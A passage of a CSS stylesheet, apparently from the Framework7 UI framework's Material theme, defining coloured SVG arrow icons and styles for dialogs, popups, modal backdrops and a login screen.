url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-green, +.md a.link .color-green .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-green, +.md a.link .color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-green, +.md a.link .color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-blue, +.md a.link .color-blue .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-blue, +.md a.link .color-blue .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-blue, +.md a.link .color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-blue, +.md a.link .color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-pink, +.md a.link .color-pink .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-pink, +.md a.link .color-pink .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-pink, +.md a.link .color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-pink, +.md a.link .color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-yellow, +.md a.link .color-yellow .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-yellow, +.md a.link .color-yellow .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-yellow, +.md a.link .color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-yellow, +.md a.link .color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-orange, +.md a.link .color-orange .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-orange, +.md a.link .color-orange .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-orange, +.md a.link .color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-orange, +.md a.link .color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-gray, +.md a.link .color-gray .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-gray, +.md a.link .color-gray .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-gray, +.md a.link .color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-gray, +.md a.link .color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-white, +.md a.link .color-white .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-white, +.md a.link .color-white .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-white, +.md a.link .color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-white, +.md a.link .color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-black, +.md a.link .color-black .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-black, +.md a.link .color-black .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-black, +.md a.link .color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-black, +.md a.link .color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon.color-red { + color: #f44336; +} +.md .icon.color-green { + color: #4caf50; +} +.md .icon.color-blue { + color: #2196f3; +} +.md .icon.color-pink { + color: #e91e63; +} +.md .icon.color-yellow { + color: #ffeb3b; +} +.md .icon.color-orange { + color: #ff9800; +} +.md .icon.color-gray { + color: #9e9e9e; +} +.md .icon.color-white { + color: #ffffff; +} +.md .icon.color-black { + color: #000000; +} +.custom-modal-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.custom-modal-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.custom-modal-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +/* === Dialog === */ +.dialog-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.dialog { + position: absolute; + z-index: 13500; + left: 50%; + margin-top: 0; + top: 50%; + overflow: hidden; + opacity: 0; + -webkit-transform: translate3d(0, 0, 0) scale(1.185); + transform: translate3d(0, 0, 0) scale(1.185); + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + display: none; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.dialog.modal-out { + opacity: 0; + z-index: 13499; +} +.dialog.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-inner { + position: relative; +} +.dialog-title { + font-weight: 500; +} +.dialog-buttons { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.dialog-buttons-vertical .dialog-buttons { + display: block; + height: auto !important; +} +.dialog-no-buttons .dialog-buttons { + display: none; +} +.dialog-input-field { + position: relative; +} +.dialog-input-field .item-input-wrap { + margin: 0; + padding: 0; +} +.dialog-input { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + margin-top: 15px; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + width: 100%; + display: block; + font-family: inherit; + -webkit-box-shadow: none; + box-shadow: none; +} +html.with-modal-dialog .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.md .dialog { + width: 280px; + margin-left: -140px; + border-radius: 4px; + color: #757575; + background: #fff; + font-size: 16px; + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); +} +.md .dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.md .dialog.modal-out { + opacity: 0; + z-index: 13499; + -webkit-transform: translate3d(0, 0, 0) scale(0.815); + transform: translate3d(0, 0, 0) scale(0.815); +} +.md .dialog-inner { + padding: 24px 24px 20px; +} +.md .dialog-title { + font-size: 20px; + color: #212121; + line-height: 1.3; +} +.md .dialog-title + .dialog-text { + margin-top: 20px; +} +.md .dialog-text { + line-height: 1.5; +} +.md .dialog-buttons { + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .dialog-buttons-vertical .dialog-buttons { + padding: 0 0 8px 0; +} +.md .dialog-buttons-vertical .dialog-buttons .dialog-button { + margin-left: 0; + text-align: right; + height: 48px; + line-height: 48px; + border-radius: 0; + padding-left: 16px; + padding-right: 16px; +} +.md .dialog-button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + letter-spacing: 0.03em; + font-weight: 500; +} +input[type="submit"].md .dialog-button, +input[type="button"].md .dialog-button { + width: 100%; +} +.md .dialog-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .dialog-button.dialog-button-bold { + font-weight: 700; +} +.md .dialog-button + .dialog-button { + margin-left: 4px; +} +.md .dialog-input { + height: 36px; + padding: 0; + border: none; + font-size: 16px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + position: relative; +} +.md .dialog-input::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input + .dialog-input { + margin-top: 16px; +} +.md .dialog-preloader .dialog-title, +.md .dialog-progress .dialog-title, +.md .dialog-preloader .dialog-inner, +.md .dialog-progress .dialog-inner { + text-align: center; +} +.md .dialog-preloader .dialog-title ~ .preloader, +.md .dialog-preloader .dialog-text ~ .preloader { + margin-top: 20px; +} +.md .dialog-progress .dialog-title ~ .progressbar, +.md .dialog-progress .dialog-text ~ .progressbar, +.md .dialog-progress .dialog-title ~ .progressbar-infinite, +.md .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 16px; +} +.md .dialog-button.color-red { + color: #f44336; +} +.md .dialog-button.color-green { + color: #4caf50; +} +.md .dialog-button.color-blue { + color: #2196f3; +} +.md .dialog-button.color-pink { + color: #e91e63; +} +.md .dialog-button.color-yellow { + color: #ffeb3b; +} +.md .dialog-button.color-orange { + color: #ff9800; +} +.md .dialog-button.color-gray { + color: #9e9e9e; +} +.md .dialog-button.color-white { + color: #ffffff; +} +.md .dialog-button.color-black { + color: #000000; +} +/* === Popup === */ +.popup-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.popup-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popup { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.popup.modal-in, +.popup.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popup.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.popup.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 630px) and (min-height: 630px) { + .popup:not(.popup-tablet-fullscreen) { + width: 630px; + height: 630px; + left: 50%; + top: 50%; + margin-left: -315px; + margin-top: -315px; + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-out { + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } +} +@media (max-width: 629px), (max-height: 629px) { + html.with-statusbar .popup-backdrop { + z-index: 9500; + } + html.with-statusbar.device-ios .popup, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 24px); + top: 24px; + } +} +@media (min-width: 630px), (min-height: 630px) { + html.with-statusbar.device-ios .popup-tablet-fullscreen, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup-tablet-fullscreen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup-tablet-fullscreen, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 24px); + top: 24px; + } +} +html.with-modal-popup .framework7-root > .views .page-content, +html.with-modal-popup .framework7-root > .view .page-content, +html.with-modal-popup .framework7-root > .panel .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +@media (min-width: 630px) and (min-height: 630px) { + .md .popup:not(.popup-tablet-fullscreen) { + -webkit-box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + } +} +/* === Login Screen === */ +.login-screen { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.login-screen.modal-in, +.login-screen.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.login-screen.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.login-screen.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.login-screen.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +html.with-statusbar.device-ios .login-screen, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 20px); + top: 20px; +} +html.with-statusbar.device-iphone-x .login-screen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .login-screen, +html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 24px); + top: 24px; +} +.login-screen-content { + background: #fff; +} +.login-screen-content .login-screen-title, +.login-screen-content .list, +.login-screen-content .block, +.login-screen-content .block-footer, +.login-screen-content .block-header { + max-width: 480px; +} +.login-screen-content .list ul { + background: none; +} +.login-screen-content .list ul:before { + display: none !important; +} +.login-screen-content .list ul:after { + display: none !important; +} +.login-screen-content .block-footer, +.login-screen-content .block-header { + text-align: center; + margin-left: auto; + margin-right: auto; +} +.login-screen-title { + text-align: center; +} +.md .login-screen-content .login-screen-title, +.md .login-screen-content .list, +.md .login-screen-content .block { + margin: 24px auto; +} +.md .login-screen-content .list-button { + text-align: center; + color: #2196f3; +} +.md .login-screen-title { + font-size: 34px; +} +.md .theme-dark .login-screen-content, +.login-screen-content.md .theme-dark { + background: none; +} +.md .color-theme-red .login-screen-content .list-button { + color: #f44336; +} +.md .color-theme-green .login-screen-content .list-button { + color: #4caf50; +} +.md .color-theme-blue .login-screen-content .list-button { + color: #2196f3; +} +.md .color-theme-pink .login-screen-content .list-button { + color: #e91e63; +} +.md .color-theme-yellow .login-screen-content .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .login-screen-content .list-button { + color: #ff9800; +} +.md .color-theme-gray .login-screen-content .list-button { + color: #9e9e9e; +} +.md .color-theme-white .login-screen-content .list-button { + color: #ffffff; +} +.md .color-theme-black .login-screen-content .list-button { + color: #000000; +} +.md .login-screen-content .list-button.color-red { + color: #f44336; +} +.md .login-screen-content .list-button.color-green { + color: #4caf50; +} +.md .login-screen-content .list-button.color-blue { + color: #2196f3; +} +.md .login-screen-content .list-button.color-pink { + color: #e91e63; +} +.md .login-screen-content .list-button.color-yellow { + color: #ffeb3b; +} +.md .login-screen-content .list-button.color-orange { + color: #ff9800; +} +.md 